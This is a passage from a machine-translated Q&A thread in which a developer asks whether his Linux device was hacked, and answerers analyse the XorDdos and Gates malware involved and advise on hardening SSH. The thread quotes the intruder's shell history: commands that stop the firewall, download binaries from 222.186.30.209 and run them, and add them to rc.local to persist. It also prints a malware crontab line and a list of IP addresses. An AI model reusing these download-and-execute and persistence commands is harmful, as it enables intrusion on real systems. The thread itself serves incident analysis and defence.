Có phải tôi vừa bị hack?


492

Tôi đang phát triển một sản phẩm tiêu dùng và nó được cho là được kết nối với Internet, vì vậy, như mong đợi, nó được kết nối với Internet để tôi có thể phát triển nó một cách hợp lý.

Tôi đã đi được một hoặc hai giờ và khi tôi trở lại văn phòng của mình, tôi nhận thấy một số lệnh lạ được viết trong thiết bị đầu cuối.

Nhìn vào tệp nhật ký Linux có tên auth.logtôi có thể thấy các dòng sau (trong số nhiều dòng khác):

Feb  1 10:45:10 debian-armhf sshd[994]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=40.127.205.162  user=root
Feb  1 10:45:12 debian-armhf sshd[994]: Failed password for root from 40.127.205.162 port 37198 ssh2
Feb  1 10:45:12 debian-armhf sshd[994]: Received disconnect from 40.127.205.162: 11: Bye Bye [preauth]

Địa chỉ IP 40.127.205.162hóa ra thuộc sở hữu của Microsoft .

Dưới đây là một loạt các lệnh đã được sử dụng khi tôi đi vắng:

  355  service iptables stop
  356  cd /tmp
  357  wget http://222.186.30.209:65534/yjz1
  358  chmod 0755 /tmp/yjz1
  359  nohup /tmp/yjz1 > /dev/null 2>&1 &
  360  chmod 777 yjz1
  361  ./yjz1
  362  chmod 0755 /tmp/yjz1
  363  nohup /tmp/yjz1 > /dev/null 2>&1 &
  364  chmod 0777 yjz1
  365  chmod u+x yjz1
  366  ./yjz1 &
  367  chmod u+x yjz1
  368  ./yjz1 &
  369  wget http://222.186.30.209:65534/yjz
  370  chmod 0755 /tmp/yjz
  371  nohup /tmp/yjz > /dev/null 2>&1 &
  372  chmod 777 yjz
  373  ./yjz
  374  chmod 0755 /tmp/yjz
  375  nohup /tmp/yjz > /dev/null 2>&1 &
  376  chmod u+x yjz
  377  ./yjz &
  378  chmod u+x yjz
  379  ./yjz &
  380  cd /tmp
  381  echo "cd  /tmp/">>/etc/rc.local
  382  service iptables stop
  383  cd /tmp
  384  wget http://222.186.30.209:65534/yjz1
  385  chmod 0755 /tmp/yjz1
  386  nohup /tmp/yjz1 > /dev/null 2>&1 &
  387  chmod 777 yjz1
  388  ./yjz1
  389  chmod 0755 /tmp/yjz1
  390  nohup /tmp/yjz1 > /dev/null 2>&1 &
  391  chmod u+x yjz1
  392  ./yjz1 &
  393  chmod 0777 yjz1
  394  ./yjz1 &
  395  echo "cd  /tmp/">>/etc/rc.local
  396  service iptables stop
  397  wget http://222.186.30.209:65534/yjz1
  398  chmod 0755 /root/yjz1
  399  nohup /root/yjz1 > /dev/null 2>&1 &
  400  chmod 777 yjz1
  401  ./yjz1
  402  chmod 0755 /root/yjz1
  403  nohup /root/yjz1 > /dev/null 2>&1 &
  404  chmod u+x yjz1
  405  ./yjz1 &
  406  chmod 0777 yjz1
  407  ./yjz1 &
  408  echo "cd  /root/">>/etc/rc.local
  409  cd /tmp
  410  service iptables stop
  411  wget http://222.186.30.209:65534/yjz1
  412  chmod 0755 /tmp/yjz1
  413  nohup /tmp/yjz1 > /dev/null 2>&1 &
  414  chmod 777 yjz1
  415  ./yjz1 &
  416  cd /etc
  417  echo "cd /root/">>/etc/rc.local
  418  echo "./yjz1&">>/etc/rc.local
  419  echo "./yjz1&">>/etc/rc.local
  420  echo "/etc/init.d/iptables stop">>/etc/rc.local
  421  cd /tmp
  422  service iptables stop
  423  wget http://222.186.30.209:65534/yjz1
  424  chmod 0755 /tmp/yjz1
  425  nohup /tmp/yjz1 > /dev/null 2>&1 &
  426  chmod 777 yjz1
  427  ./yjz1 &
  428  cd /etc
  429  echo "cd /root/">>/etc/rc.local
  430  echo "./yjz1&">>/etc/rc.local
  431  echo "./yjz1&">>/etc/rc.local
  432  echo "/etc/init.d/iptables stop">>/etc/rc.local
  433  cd /tmp
  434  service iptables stop
  435  wget http://222.186.30.209:65534/yjz1
  436  chmod 0755 /tmp/yjz1
  437  nohup /tmp/yjz1 > /dev/null 2>&1 &
  438  chmod 777 yjz1
  439  ./yjz1 &
  440  cd /etc
  441  echo "cd /root/">>/etc/rc.local
  442  echo "./yjz1&">>/etc/rc.local
  443  echo "./yjz1&">>/etc/rc.local
  444  echo "/etc/init.d/iptables stop">>/etc/rc.local
  445  service iptables stop
  446  wget http://222.186.30.209:65534/yjz1
  447  chmod 0755 /root/yjz1
  448  nohup /root/yjz1 > /dev/null 2>&1 &
  449  chmod 777 yjz1
  450  ./yjz1
  451  chmod 0755 /root/yjz1
  452  nohup /root/yjz1 > /dev/null 2>&1 &
  453  chmod 0777 yjz1
  454  chmod u+x yjz1
  455  ./yjz1 &
  456  chmod u+x yjz1
  457  ./yjz1 &

Và nhiều hơn nữa:

  481  service iptables stop
  482  wget http://222.186.30.209:65534/yjz1
  483  chmod 0755 /root/yjz1
  484  nohup /root/yjz1 > /dev/null 2>&1 &
  485  chmod 777 yjz1
  486  ./yjz1
  487  chmod 0755 /root/yjz1
  488  nohup /root/yjz1 > /dev/null 2>&1 &
  489  chmod 0777 yjz1
  490  chmod u+x yjz1
  491  ./yjz1 &
  492  chmod u+x yjz1
  493  ./yjz1 &
  494  cd /tmp
  495  service iptables stop
  496  wget http://175.102.133.55:2/yjz
  497  ./yd_cd/make
  498  service iptables stop
  499  service iptables stop
  500  wget http://222.186.30.209:65534/yjz1

Tôi hoàn toàn không biết về điều này. Làm thế nào tôi có thể bảo mật sản phẩm của tôi đúng cách?

Tôi muốn gửi các auth.logtập tin đầy đủ . Làm thế nào để làm điều đó?

Ngoài ra, tệp yjz1được tải xuống dường như là một Trojan Linux và tất cả những điều này dường như được thực hiện bởi một số nhóm tin tặc theo http://anti-hacker-alliance.com/index.php?ip=40.127.205.162

Tôi có nên gọi cho Microsoft và nói chuyện với họ không? Tôi nên làm gì?


40
Vâng, điều đó không có vẻ quá tốt. Tôi không phải là một chuyên gia về Linux bằng mọi cách, nhưng đôi khi chắc chắn đã cố gắng thực thi trên đó. Tôi không chắc chắn như thế nào vì có vẻ như nó đã cố đăng nhập bằng root và thất bại. Có bất kỳ nhật ký nào khác trong auth.log của bạn không? Bất kỳ phương tiện khác của quản trị viên từ xa? Tôi đã thấy máy Mac với máy chủ VNC được kích hoạt bị hack trước đó, mặc dù điều này trông giống như một nỗ lực SSH. Có vẻ như các IP mà nó được tải xuống được lưu trữ ở Trung Quốc ở đâu đó.
Jonno

68
Bạn bị vũ phu ép buộc. Đây là lý do tại sao người ta không để máy chủ ssh trên internet, ngay cả khi bạn có mật khẩu. Bất cứ điều gì thiếu auth dựa trên khóa là không đủ an toàn những ngày này.
Journeyman Geek

80
Vâng, chúng tôi có security.stackexchange.com . Nhưng điều đầu tiên trước tiên: Máy chủ bị xâm nhập có thể không còn được tin cậy. Bỏ nó ra khỏi mạng. Nếu có thể hãy tạo một bản sao lưu để bạn có thể nghiên cứu những gì đã được thực hiện và làm thế nào nó được thực hiện. Tiếp theo cài đặt lại hệ điều hành từ một nguồn sạch. Khôi phục dữ liệu từ bản sao lưu. Bảo mật hệ thống để bạn không bị lây nhiễm trở lại. Tìm hiểu làm thế nào họ nhận được vào là rất khuyến khích. (Do đó khuyến nghị để tạo một bản sao của hệ thống bị nhiễm).
Hennes

84
FYI: 40.127.205.162 là địa chỉ IP Microsoft Azure theo GeoIP. Do đó, bạn không thể đổ lỗi cho Microsoft về cuộc tấn công - nó tương đương với việc đổ lỗi cho Amazon vì ai đó đã sử dụng EC2 cho thư rác. Điều duy nhất Microsoft thực sự có thể làm là loại bỏ những kẻ tấn công khỏi Azure, nhưng chúng sẽ trở lại trên một nền tảng đám mây khác ngay lập tức.
nneonneo

41
Trong thực tế, nếu điều này được viết trong thiết bị đầu cuối của bạn, tin tặc có thể đang ngồi trong tủ tiếp theo.
isanae

Câu trả lời:


487

EDIT 2 :

có một lý do chính đáng tại sao bài đăng này lại thu hút nhiều sự chú ý như vậy: bạn đã quản lý để ghi lại toàn bộ, phiên trực tiếp của một kẻ xâm nhập trên PC của bạn. Điều này rất khác với kinh nghiệm hàng ngày của chúng tôi, nơi chúng tôi đối phó với việc phát hiện ra hậu quả của hành động của mình và cố gắng khắc phục chúng. Ở đây chúng tôi thấy anh ta ở nơi làm việc, thấy anh ta có một số vấn đề với việc thiết lập cửa hậu, lấy lại các bước của anh ta, làm việc một cách sốt sắng (có lẽ vì anh ta đang ngồi ở bàn của bạn, như được đề xuất ở trên, hoặc có lẽ, và theo tôi nhiều khả năng, bởi vì anh ta không thể làm cho phần mềm độc hại của anh ấy chạy trên hệ thống, đọc bên dưới) và cố gắng triển khai các công cụ kiểm soát hoàn toàn độc lập. Đây là những gì các nhà nghiên cứu bảo mật chứng kiến ​​hàng ngày với bẫy mật ong của họ . Đối với tôi, đây là một cơ hội rất hiếm, và là nguồn gốc của một số trò giải trí.


Bạn chắc chắn đã bị hack. Bằng chứng cho điều này không đến từ đoạn trích của auth.logtệp bạn đã hiển thị, vì điều này báo cáo một nỗ lực đăng nhập không thành công, xảy ra trong một khoảng thời gian ngắn (hai giây). Bạn sẽ nhận thấy rằng dòng thứ hai nói Failed password, trong khi dòng thứ ba báo cáo pre-authngắt kết nối: anh chàng đã thử và thất bại.

Bằng chứng thay vào đó là từ nội dung của hai tệp http://222.186.30.209:65534/yjzhttp://222.186.30.209:65534/yjz1kẻ tấn công đã tải xuống hệ thống của bạn.

Trang web hiện đang mở cho bất cứ ai để tải chúng, điều mà tôi đã làm. Lần đầu tiên tôi chạy filetrên chúng, cho thấy:

$ file y*
yjz:      ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not stripped
yjz1:     ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, not stripped

Sau đó, tôi mang chúng lên máy ảo Debian 64 bit mà tôi có; một cuộc kiểm tra nội dung của họ thông qua stringslệnh đã tiết lộ nhiều điều đáng ngờ (tham khảo các cuộc tấn công nổi tiếng khác nhau, để các lệnh được thay thế, một kịch bản được sử dụng rõ ràng để thiết lập một dịch vụ mới, v.v.).

Sau đó, tôi đã tạo ra băm MD5 của cả hai tệp và đưa chúng vào cơ sở dữ liệu băm của Cymru để xem liệu chúng có phải là tác nhân của phần mềm độc hại hay không. Mặc dù yjzkhông, yjz1và Cymru báo cáo xác suất phát hiện bằng phần mềm chống vi-rút là 58%. Nó cũng nói rằng tập tin này đã được nhìn thấy lần cuối cách đây ba ngày, vì vậy nó gần đây là hợp lý.

Chạy clamscan (một phần của clamavgói) trên hai tệp tôi thu được:

$ clamscan y*
yjz: Linux.Backdoor.Gates FOUND
yjz1: Linux.Trojan.Xorddos FOUND

vì vậy bây giờ chúng tôi chắc chắn rằng phần mềm Linux tiêu chuẩn có thể xác định nó.

Những gì bạn nên làm?

Mặc dù khá mới, nhưng không có hệ thống nào là rất mới, ví dụ , hãy xem bài viết tháng 1 năm 2015 này trên XorDdos . Vì vậy, hầu hết các gói miễn phí sẽ có thể loại bỏ nó. Bạn nên cố gắng: clamav, rkhunter, chkrootkit. Tôi đã Googled xung quanh, và thấy rằng họ tuyên bố có thể phát hiện ra nó. Sử dụng chúng để kiểm tra công việc của người tiền nhiệm, nhưng sau khi chạy ba chương trình này, bạn nên sẵn sàng để đi.

Đối với câu hỏi lớn hơn, what should you do to prevent future infectionscâu trả lời của Journeyman là bước đầu tiên tốt. Chỉ cần nhớ rằng đó là một cuộc đấu tranh đang diễn ra, một điều mà tất cả chúng ta (bao gồm cả tôi!) Rất có thể đã mất mà không hề biết.

CHỈNH SỬA :

Theo lời nhắc (gián tiếp) của Viktor Toth, tôi muốn thêm một vài bình luận. Điều chắc chắn là kẻ xâm nhập gặp phải một số khó khăn: anh ta tải xuống hai công cụ hack khác nhau, thay đổi quyền của họ nhiều lần, khởi động lại nhiều lần và cố gắng nhiều lần để vô hiệu hóa tường lửa. Thật dễ dàng để đoán những gì đang xảy ra: anh ta hy vọng các công cụ hack của mình sẽ mở một kênh liên lạc về phía một trong những chiếc bị nhiễm của anh ta (xem sau), và khi anh ta không thấy kênh mới này xuất hiện trên GUI điều khiển của mình, anh ta sợ bị hack công cụ đang bị chặn bởi tường lửa, vì vậy anh ta lặp lại quy trình cài đặt. Tôi đồng ý với Viktor Toth rằng giai đoạn hoạt động đặc biệt này của anh ta dường như không mang lại kết quả như mong đợi, nhưng tôi muốn khuyến khích bạn rất mạnh mẽ không được đánh giá thấp mức độ thiệt hại gây ra trên máy tính của bạn.

Tôi cung cấp ở đây một phần đầu ra của strings yjz1:

etc/init.d/%s
/etc/rc%d.d/S90%s
--del
chkconfig
remove
update-rc.d
/etc/cron.hourly/gcc4.sh
/etc/rc.d/rc%d.d/S90%s
--add
defaults
/proc/%d/exe
/proc/self/exe
HOME=/
MYSQL_HISTFILE=/dev/null
#!/bin/sh
# chkconfig: 12345 90 90
# description: %s
### BEGIN INIT INFO
# Provides:             %s
# Required-Start:
# Required-Stop:
# Default-Start:        1 2 3 4 5
# Default-Stop:
# Short-Description:    %s
### END INIT INFO
case $1 in
start)
stop)
esac
sed -i '/\/etc\/cron.hourly\/gcc4.sh/d' /etc/crontab && echo '*/3 * * * * root /etc/cron.hourly/gcc4.sh' >> /etc/crontab
etc/init.d/%s
GET %s HTTP/1.1
%sHost: %s
POST %s HTTP/1.1
%sHost: %s
Content-Type: application/x-www-form-urlencoded
Content-Length: %d
%s%s
Accept: */*
Accept-Language: zh-cn
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1;      TencentTraveler ; .NET CLR 1.1.4322)
Connection: Keep-Alive

Điều này cung cấp bằng chứng giả mạo các dịch vụ (trong /etc/init.dvà trong /etc/rc.d), với crontabtệp lịch sử mysqlvà một vài tệp proccó liên kết đến bash(gợi ý phiên bản lừa đảo tùy chỉnh của vỏ của bạn đã được trồng). Sau đó, chương trình tạo một yêu cầu HTTP (đến một trang web nói tiếng Trung Quốc,

 Accept-Language: zh-cn

mà đưa ra chất cho nhận xét của David Schwartz ở trên), có thể tạo ra sự tàn phá thậm chí nhiều hơn. Trong yêu cầu, các tệp nhị phân ( Content-Type: application/x-www-form-urlencoded) phải được tải xuống máy tính bị tấn công (GET) và được tải lên máy điều khiển (POST). Tôi không thể thiết lập những gì sẽ được tải xuống máy tính bị tấn công, nhưng, với kích thước nhỏ của cả hai yjzyjz1(1.1MB và 600kB, có thể sửa chữa), tôi có thể mạo hiểm để phỏng đoán rằng hầu hết các tệp cần thiết để che giấu rootkit, tức là đã thay đổi phiên bản ls, netstat, ps, ifconfig, ..., sẽ được tải về theo cách này. Và điều này sẽ giải thích những nỗ lực gây sốt của kẻ tấn công để tải xuống này.

Không có gì chắc chắn rằng những điều trên làm cạn kiệt tất cả các khả năng: chúng tôi chắc chắn thiếu một phần của bảng điểm (giữa các dòng 457 và 481) và chúng tôi không thấy đăng xuất; hơn nữa, đặc biệt đáng lo ngại là các dòng 495-497,

cd /tmp;  ./yd_cd/make

trong đó đề cập đến một tệp mà chúng tôi không thấy đã tải xuống và có thể là một phần tổng hợp: nếu vậy, điều đó có nghĩa là kẻ tấn công đã (cuối cùng?) hiểu vấn đề với các tệp thực thi của mình là gì và đang cố gắng khắc phục nó, trong trường hợp đó pc tấn công đã đi cho tốt. [Trên thực tế, hai phiên bản phần mềm độc hại mà kẻ tấn công đã tải xuống máy bị hack (và tôi trên máy ảo Debian 64 bit của tôi) là cho một kiến ​​trúc không phù hợp, x86, trong khi chỉ riêng cái tên của máy tính bị hack đã cho thấy sự thật rằng anh ta đang đối phó với một kiến ​​trúc cánh tay].

Lý do tại sao tôi viết bản chỉnh sửa này là để thúc giục bạn mạnh mẽ nhất có thể để kết hợp hệ thống của bạn với một công cụ chuyên nghiệp hoặc cài đặt lại từ đầu.

Và, nhân tiện, điều này có nên hữu ích với bất kỳ ai không, đây là danh sách trong số 331 địa chỉ IP yjzcố gắng kết nối. Danh sách này quá lớn (và có lẽ đã được định sẵn để trở nên lớn hơn) đến nỗi tôi tin rằng đây là lý do để giả mạo mysql. Danh sách được cung cấp bởi các cửa hậu khác giống hệt nhau, mà theo tôi, là lý do để bỏ một phần thông tin quan trọng như vậy ra ngoài (tôi nghĩ rằng kẻ tấn công không muốn nỗ lực lưu trữ chúng ở định dạng kernel, vì vậy anh ta đặt toàn bộ danh sách vào một tệp văn bản rõ ràng, có thể được đọc bởi tất cả các cửa hậu của anh ta, cho bất kỳ hệ điều hành nào):

61.132.163.68
202.102.192.68
202.102.213.68
202.102.200.101
58.242.2.2
202.38.64.1
211.91.88.129
211.138.180.2
218.104.78.2
202.102.199.68
202.175.3.3
202.175.3.8
202.112.144.30
61.233.9.9
61.233.9.61
124.207.160.110
202.97.7.6
202.97.7.17
202.106.0.20
202.106.46.151
202.106.195.68
202.106.196.115
202.106.196.212
202.106.196.228
202.106.196.230
202.106.196.232
202.106.196.237
202.112.112.10
211.136.17.107
211.136.28.231
211.136.28.234
211.136.28.237
211.147.6.3
219.141.136.10
219.141.140.10
219.141.148.37
219.141.148.39
219.239.26.42
221.130.32.100
221.130.32.103
221.130.32.106
221.130.32.109
221.130.33.52
221.130.33.60
221.176.3.70
221.176.3.73
221.176.3.76
221.176.3.79
221.176.3.83
221.176.3.85
221.176.4.6
221.176.4.9
221.176.4.12
221.176.4.15
221.176.4.18
221.176.4.21
58.22.96.66
218.104.128.106
202.101.98.55
211.138.145.194
211.138.151.161
211.138.156.66
218.85.152.99
218.85.157.99
222.47.29.93
202.101.107.85
119.233.255.228
222.47.62.142
122.72.33.240
211.98.121.27
218.203.160.194
221.7.34.10
61.235.70.98
113.111.211.22
202.96.128.68
202.96.128.86
202.96.128.166
210.21.3.140
210.21.4.130
211.95.193.97
211.98.2.4
211.98.4.1
211.162.61.225
211.162.61.235
211.162.61.255
211.162.62.1
211.162.62.60
221.4.66.66
202.103.176.22
202.96.144.47
210.38.192.33
202.96.134.33
202.96.134.133
202.96.154.15
210.21.196.6
221.5.88.88
202.103.243.112
202.193.64.33
61.235.164.13
61.235.164.18
202.103.225.68
221.7.136.68
202.103.224.68
211.97.64.129
211.138.240.100
211.138.242.18
211.138.245.180
221.7.128.68
222.52.118.162
202.98.192.67
202.98.198.167
211.92.136.81
211.139.1.3
211.139.2.18
202.100.192.68
211.97.96.65
211.138.164.6
221.11.132.2
202.100.199.8
202.99.160.68
202.99.166.4
202.99.168.8
222.222.222.222
202.102.224.68
202.102.227.68
222.85.85.85
222.88.88.88
210.42.241.1
202.196.64.1
112.100.100.100
202.97.224.68
219.235.127.1
61.236.93.33
211.93.24.129
211.137.241.34
219.147.198.230
202.103.0.68
202.103.0.117
202.103.24.68
202.103.44.150
202.114.0.242
202.114.240.6
211.161.158.11
211.161.159.3
218.104.111.114
218.104.111.122
218.106.127.114
218.106.127.122
221.232.129.30
59.51.78.210
61.234.254.5
202.103.96.112
219.72.225.253
222.243.129.81
222.246.129.80
211.142.210.98
211.142.210.100
220.168.208.3
220.168.208.6
220.170.64.68
218.76.192.100
61.187.98.3
61.187.98.6
202.98.0.68
211.93.64.129
211.141.16.99
202.98.5.68
219.149.194.55
211.138.200.69
202.102.3.141
202.102.3.144
58.240.57.33
112.4.0.55
114.114.114.114
114.114.115.115
202.102.24.34
218.2.135.1
221.6.4.66
221.131.143.69
202.102.8.141
222.45.0.110
61.177.7.1
218.104.32.106
211.103.13.101
221.228.255.1
61.147.37.1
222.45.1.40
58.241.208.46
202.102.9.141
202.102.7.90
202.101.224.68
202.101.226.68
211.141.90.68
211.137.32.178
202.96.69.38
211.140.197.58
219.149.6.99
202.96.86.18
101.47.189.10
101.47.189.18
118.29.249.50
118.29.249.54
202.96.64.68
202.96.75.68
202.118.1.29
202.118.1.53
219.148.204.66
202.99.224.8
202.99.224.67
211.90.72.65
211.138.91.1
218.203.101.3
202.100.96.68
211.93.0.81
222.75.152.129
211.138.75.123
202.102.154.3
202.102.152.3
219.146.1.66
219.147.1.66
202.102.128.68
202.102.134.68
211.138.106.19
211.90.80.65
202.99.192.66
202.99.192.68
61.134.1.4
202.117.96.5
202.117.96.10
218.30.19.40
218.30.19.50
116.228.111.118
180.168.255.18
202.96.209.5
202.96.209.133
202.101.6.2
211.95.1.97
211.95.72.1
211.136.112.50
211.136.150.66
119.6.6.6
124.161.97.234
124.161.97.238
124.161.97.242
61.139.2.69
202.98.96.68
202.115.32.36
202.115.32.39
218.6.200.139
218.89.0.124
61.139.54.66
61.139.39.73
139.175.10.20
139.175.55.244
139.175.150.20
139.175.252.16
168.95.1.1
210.200.211.193
210.200.211.225
211.78.130.1
61.31.1.1
61.31.233.1
168.95.192.1
168.95.192.174
61.60.224.3
61.60.224.5
202.113.16.10
202.113.16.11
202.99.96.68
202.99.104.68
211.137.160.5
211.137.160.185
219.150.32.132
202.98.224.68
211.139.73.34
61.10.0.130
61.10.1.130
202.14.67.4
202.14.67.14
202.45.84.58
202.45.84.67
202.60.252.8
202.85.128.32
203.80.96.9
203.142.100.18
203.142.100.21
203.186.94.20
203.186.94.241
221.7.1.20
61.128.114.133
61.128.114.166
218.202.152.130
61.166.150.123
202.203.128.33
211.98.72.7
211.139.29.68
211.139.29.150
211.139.29.170
221.3.131.11
222.172.200.68
61.166.150.101
61.166.150.139
202.203.144.33
202.203.160.33
202.203.192.33
202.203.208.33
202.203.224.33
211.92.144.161
222.221.5.240
61.166.25.129
202.96.103.36
221.12.1.227
221.130.252.200
222.46.120.5
202.96.96.68
218.108.248.219
218.108.248.245
61.130.254.34
60.191.244.5
202.96.104.15
202.96.104.26
221.12.33.227
202.96.107.27
61.128.128.68
61.128.192.68
218.201.17.2
221.5.203.86
221.5.203.90
221.5.203.98
221.7.92.86
221.7.92.98

Đoạn mã sau

 #!/bin/bash
 echo 0 > out
 while read i; do
       whois $i | grep -m 1 -i country >> out
 done < filename
 cat out | grep -i cn | wc -l

trong danh sách trên cho thấy có 302 trong tổng số 331 địa chỉ ở Trung Quốc đại lục, những địa chỉ còn lại ở Hồng Kông, Mông Cổ, Đài Loan. Điều này bổ sung thêm sự hỗ trợ cho sự tranh cãi của David Schwartz rằng đây chủ yếu là một vòng bot Trung Quốc.

CHỈNH SỬA 3

Theo yêu cầu của @ vaid (tác giả của OP, đọc bình luận của anh ấy bên dưới), tôi sẽ thêm một nhận xét về cách tăng cường bảo mật của hệ thống Linux cơ bản (đối với một hệ thống cung cấp nhiều dịch vụ, đây là một chủ đề phức tạp hơn nhiều). vaidnói rằng ông đã làm như sau:

  1. Cài đặt lại hệ thống

  2. đã thay đổi mật khẩu gốc thành mật khẩu dài 16 ký tự với các chữ cái và chữ thường và chữ thường.

  3. Đã thay đổi tên người dùng thành tên người dùng dài 6 ký tự hỗn hợp và áp dụng cùng một mật khẩu như được sử dụng cho root

  4. đã thay đổi cổng SSH thành thứ gì đó trên 5000

  5. đã tắt đăng nhập gốc SSH.

Điều này là tốt (ngoại trừ tôi sử dụng một cổng trên 10.000 vì nhiều chương trình hữu ích sử dụng các cổng dưới 10.000). Nhưng tôi không thể nhấn mạnh đủ nhu cầu sử dụng khóa mật mã để đăng nhập ssh , thay vì mật khẩu. Tôi sẽ cho bạn một ví dụ cá nhân. Trên một trong những VPS của tôi, tôi không chắc có nên thay đổi cổng ssh hay không; Tôi đã để nó ở 22, nhưng đã sử dụng khóa mật mã để xác thực. Tôi đã có hàng trăm nỗ lực đột phá mỗi ngày , không thành công. Khi, mệt mỏi để kiểm tra hàng ngày rằng không có ai thành công, cuối cùng tôi đã chuyển cổng thành một cái gì đó trên 10.000, các nỗ lực đột nhập đã về không. Nhắc bạn, không phải tin tặc là ngu ngốc (chúng không phải!), Chúng chỉ săn lùng con mồi dễ dàng hơn.

Thật dễ dàng để kích hoạt khóa mật mã với RSA dưới dạng thuật toán chữ ký, xem bình luận bên dưới của Jan Hudec (cảm ơn!):

 cd; mkdir .ssh; chmod 700 .ssh; cd .ssh; ssh-keygen -t rsa (then hit <kbd>ENTER>/kbd> three times); cat id_rsa.pub >> authorized_keys; chmod 600 *

Bây giờ, tất cả những gì bạn phải làm là sao chép tệp id_rsavào máy mà bạn muốn kết nối (trong một thư mục .ssh, cũng chmod'ed đến 700), sau đó ban hành lệnh

ssh -p YourChosenNonStandardPort -i ~/.ssh/id_rsa me@RemoteMachine

Khi bạn chắc chắn rằng điều này hoạt động, hãy chỉnh sửa trên máy chủ (= máy bạn muốn kết nối) tệp /etc/ssh/sshd_configvà thay đổi dòng

#PasswordAuthentication yes

đến

PasswordAuthentication no

và khởi động lại sshdịch vụ ( service ssh restarthoặc systemctl restart ssh, hoặc một cái gì đó như thế này, tùy thuộc vào bản phân phối).

Điều này sẽ chịu được rất nhiều. Trên thực tế, hiện tại không có khai thác nào được biết đến so với các phiên bản hiện tại openssh v2và của RSA như được sử dụng bởi openssh v2.

Cuối cùng, để thực sự phá hỏng máy của bạn, bạn sẽ cần phải định cấu hình tường lửa (netfilter / iptables) như sau:

 iptables -A INPUT -p tcp --dport YourChosenNonStandardPort -j ACCEPT
 iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
 iptables -P INPUT DROP
 iptables -P OUTPUT ACCEPT
 iptables -A INPUT -i lo -j ACCEPT
 iptables -A OUTPUT -o lo -j ACCEPT

Điều này, 1) cho phép kết nối ssh từ cả LAN và WAN, 2) cho phép tất cả đầu vào được tạo bởi yêu cầu của bạn (ví dụ: khi bạn tải trang Web), 3) bỏ mọi thứ khác vào đầu vào, 4) cho phép mọi thứ trên đầu ra và 5-6) cho phép mọi thứ trên giao diện loopback.

Khi nhu cầu của bạn tăng lên và cần mở thêm nhiều cổng, bạn có thể làm như vậy bằng cách thêm vào, ở đầu danh sách, các quy tắc như:

 iptables -A INPUT -p tcp --dport 80 -j ACCEPT

để cho phép mọi người ví dụ truy cập trình duyệt Web của bạn.


11
Điều này thật tuyệt khi đọc. Tôi cũng đã thử tệp yjz1thông qua Googles VirusTotal.com , kết quả rất khả quan. Tôi thậm chí không thấy rằng yjzđã được tải xuống. Cảm ơn.
trả lời

34
Hãy cẩn thận chạy stringstrên dữ liệu không đáng tin cậy. lcamtuf.blogspot.com/2014/10/
Nordhoff

5
@MattNordhoff Cảm ơn bạn đã chỉ ra điều này, tôi đã không biết gì về nó. Tuy nhiên, trên Debian của tôi, lệnh 'chuỗi` vượt qua bài kiểm tra mà bạn đã liên kết với màu sắc bay. Tôi đoán điều này là do thực tế là các hướng dẫn sử dụng: -a ... Thông thường đây là hành vi mặc định . Chúc mừng.
MariusMatutiae 2/2/2016

32
Câu trả lời này cho thấy một cách tiếp cận nên là một mô hình: 1. Đừng để sự chú ý của bạn bị chuyển hướng bởi những nỗ lực thất bại, hãy cảnh giác. 2. Phân biệt hành động thành công của kẻ tấn công. 3. Nghiên cứu những gì và làm thế nào kẻ tấn công đã làm. 4. Cài đặt tất cả từ đầu hoặc từ bản sao lưu (bị tấn công) chưa được sửa chữa cuối cùng, thêm các biện pháp bảo vệ bổ sung cần thiết mà bạn tìm thấy (điểm 3). 5. Giúp người khác tự bảo vệ mình (danh sách IP bị nghi ngờ / bị nghi ngờ).
Hastur 2/2/2016

11
[Redacted sau khi bình luận của @MariusMatutiae] - Tuy nhiên, OP nên nhận ra rằng trên một hệ thống bị xâm, mỗi thực thi phải được xem xét độc hại, thậm chí vỏ, ls, whohoặc bất cứ điều gì khác. "Giải cứu dữ liệu" bằng cách sử dụng bất kỳ tệp thực thi nào trên hệ thống bị xâm nhập (ví dụ scphoặc rsync) có thể làm tổn hại nhiều máy hơn nữa.
Dubu

142

Chào mừng bạn đến với Internet - nơi mà bất kỳ máy chủ SSH mở nào cũng có khả năng sẽ bị thăm dò, bị ép buộc và có nhiều sự phẫn nộ khác nhau xảy ra với nó.

Để bắt đầu, bạn cần xóa hoàn toàn bộ lưu trữ trên sản phẩm. Hình ảnh nó nếu bạn muốn vượt qua nó cho pháp y, nhưng cài đặt Linux trên nó bây giờ là nghi ngờ.

Một chút phỏng đoán nhưng

  1. Bạn bị ép buộc hoặc sử dụng một mật khẩu phổ biến. Đó là bảo mật bằng cách che khuất nhưng bạn không muốn có mật khẩu từ điển hoặc sử dụng tài khoản root mở cho SSH. Vô hiệu hóa quyền truy cập SSH gốc nếu đó là một tùy chọn hoặc ít nhất là thay đổi tên để họ cần đoán cả hai. SSH là root là thực hành bảo mật khủng khiếp dù sao đi nữa. Nếu bạn phải sử dụng root, đăng nhập với tư cách người dùng khác và sử dụng su hoặc sudo để chuyển đổi.

  2. Tùy thuộc vào sản phẩm, bạn có thể muốn khóa quyền truy cập SSH theo một cách nào đó. Tổng số khóa âm thanh có vẻ là một ý tưởng tốt và cho phép người dùng mở nó khi cần thiết . Tùy thuộc vào tài nguyên nào bạn có thể dự phòng, hãy xem xét chỉ cho phép địa chỉ IP trong mạng con của riêng bạn hoặc một loại hệ thống điều tiết đăng nhập. Nếu bạn không cần nó trên sản phẩm cuối cùng, hãy chắc chắn rằng nó đã tắt.

  3. Sử dụng một cổng không chuẩn. Bảo mật bằng cách che khuất một lần nữa, nhưng điều đó có nghĩa là kẻ tấn công cần nhắm mục tiêu vào cổng của bạn.

  4. Đừng bao giờ sử dụng mật khẩu mặc định. Cách tiếp cận tốt nhất tôi từng thấy là tạo ngẫu nhiên mật khẩu cho một thiết bị cụ thể và gửi nó cùng với sản phẩm của bạn. Thực tiễn tốt nhất là xác thực dựa trên khóa, nhưng tôi không biết bạn sẽ tiếp cận điều đó như thế nào trên một sản phẩm thị trường đại chúng.


76
5. Sử dụng khóa công khai auth nếu có thể. Mật khẩu auth là xa, kém an toàn.
Bob

4
Vâng, nhưng nếu nó là một thiết bị tiêu dùng, nó có thể không phải là một lựa chọn. Trên một hộp dev, nghe có vẻ là một ý tưởng tuyệt vời. Trên một máy chủ, tốt, tôi đã bị hack trước đó; p
